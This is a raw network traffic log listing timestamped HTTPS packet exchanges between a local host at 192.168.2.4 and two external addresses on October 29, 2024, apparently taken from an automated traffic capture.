Oct 29, 2024 10:47:16.391778946 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.391794920 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.391815901 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.391849995 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.391859055 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.391897917 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.392107010 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.414496899 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.414554119 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.414577007 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.414642096 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.414663076 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.414705992 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.414737940 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.414784908 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.414843082 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.422864914 CET	443	49767	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.423141956 CET	443	49767	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.423217058 CET	49767	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.426975012 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.427102089 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.427155972 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.427174091 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.427278042 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.427334070 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.427350998 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.427468061 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.427525997 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.438549995 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.438575983 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.451884985 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.451915979 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.455931902 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.455982924 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.456064939 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.456108093 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.491247892 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.510323048 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.510402918 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.510435104 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.510468006 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.510497093 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.510526896 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.510544062 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.510586023 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.510611057 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.510660887 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.510670900 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.510720015 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.511349916 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.511693001 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.511763096 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.511836052 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.511864901 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.511868954 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.511868954 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.511887074 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.511966944 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.512031078 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.594559908 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.594588995 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.594953060 CET	49767	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.595012903 CET	443	49767	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.600295067 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.600327969 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.607992887 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.608016014 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.277724028 CET	49773	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.277755976 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.277904034 CET	49773	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.278120041 CET	49773	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.278130054 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.295248032 CET	49774	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.295290947 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.295350075 CET	49774	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.295849085 CET	49774	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.295862913 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.319788933 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.319817066 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.319938898 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.320240974 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.320255995 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.321865082 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.321902037 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.322000027 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.322289944 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.322302103 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.323085070 CET	49777	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.323124886 CET	443	49777	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.323230028 CET	49777	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.323386908 CET	49777	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.323401928 CET	443	49777	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.336589098 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:17.336675882 CET	443	49778	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:17.336749077 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:17.337126970 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:17.337167978 CET	443	49778	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:17.344336987 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.344362974 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.344662905 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.345835924 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.345861912 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.898272038 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.898588896 CET	49773	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.898611069 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.899071932 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.899599075 CET	49773	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.899701118 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.899817944 CET	49773	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.911890030 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.912098885 CET	49774	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.912130117 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.913211107 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.917951107 CET	49774	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.918126106 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.918502092 CET	49774	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.939244032 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.944706917 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.944720984 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.947336912 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.948678017 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.948743105 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.949170113 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.949353933 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.949420929 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.953170061 CET	443	49777	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.960202932 CET	49777	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.960226059 CET	443	49777	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.960282087 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.960625887 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.960644007 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.963347912 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.963795900 CET	443	49777	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.963871002 CET	49777	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.964112043 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.964215040 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.964273930 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.964540005 CET	49777	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.964720011 CET	443	49777	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.965274096 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.965451002 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.965540886 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.965559006 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.965725899 CET	49777	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.965742111 CET	443	49777	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.965996027 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.966006041 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.969099045 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.969180107 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.983047962 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.983277082 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.993223906 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.993240118 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:17.998496056 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:17.998537064 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.013473988 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.039633036 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.039721012 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.054068089 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.054220915 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.054270983 CET	49774	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.054286003 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.054387093 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.054428101 CET	49774	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.054435015 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.054510117 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.054557085 CET	49774	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.076293945 CET	49774	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.076313019 CET	443	49774	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.076736927 CET	49780	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.076769114 CET	443	49780	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.076841116 CET	49780	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.077655077 CET	49780	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.077666998 CET	443	49780	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.084278107 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.084410906 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.084462881 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.084472895 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.084567070 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.084609985 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.084618092 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.084815979 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.084871054 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.086406946 CET	49777	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.091694117 CET	49775	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.091703892 CET	443	49775	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.092237949 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.092263937 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.092370987 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.101552963 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.101572037 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.101691961 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.102358103 CET	443	49777	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.102581978 CET	443	49777	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.102649927 CET	49777	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.105000019 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.105137110 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.105206966 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.105225086 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.105309010 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.105325937 CET	49777	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.105365992 CET	443	49777	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.105376959 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.105385065 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.105467081 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.105593920 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.105643988 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.105986118 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.106007099 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.106065989 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.107075930 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.107094049 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.123655081 CET	49776	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.123682976 CET	443	49776	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.124253988 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.124270916 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.124330044 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.125358105 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.125428915 CET	49773	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.125436068 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.125546932 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.125725985 CET	49773	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.134855986 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.135071993 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.135129929 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.135164022 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.135282040 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.135334969 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.135341883 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.135531902 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.135584116 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.135591030 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.135694981 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.135749102 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.135755062 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.138031006 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.138041973 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.181118965 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.181133986 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.202740908 CET	49773	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.202760935 CET	443	49773	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.203243017 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.203283072 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.203393936 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.206059933 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.206079960 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.226337910 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.252211094 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.252432108 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.252517939 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.252583981 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.252600908 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.252654076 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.252666950 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.252979994 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.253070116 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.253082991 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.253573895 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.253710032 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.253739119 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.253752947 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.253834963 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.253846884 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.254184008 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.254245043 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.254256964 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.254358053 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.254425049 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.254437923 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.254992962 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.255055904 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.255068064 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.255188942 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.259612083 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.259625912 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.259898901 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.262624025 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.262636900 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.317128897 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.364160061 CET	443	49778	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:18.369663000 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.369852066 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.369940996 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.369961977 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.370008945 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.370100021 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.370161057 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.370182991 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.370233059 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.370244980 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.370383978 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.370476007 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.370536089 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.370548964 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.370604992 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.371500015 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.371575117 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.371632099 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.371699095 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.372175932 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.372243881 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.372421980 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.372487068 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.372701883 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.372772932 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.372812033 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.372869968 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.373574972 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.373646021 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.373670101 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.373735905 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.373755932 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.373820066 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.374013901 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.374073029 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.410898924 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:18.412853003 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.412949085 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.489681959 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.489789963 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.489828110 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.489888906 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.489916086 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.489965916 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.490037918 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.490108967 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.490134001 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.490195036 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.490277052 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.490336895 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.490371943 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.490443945 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.490472078 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.490520954 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.490562916 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.490619898 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.490704060 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.490767002 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.490799904 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.490854025 CET	49779	443	192.168.2.4	104.21.57.143
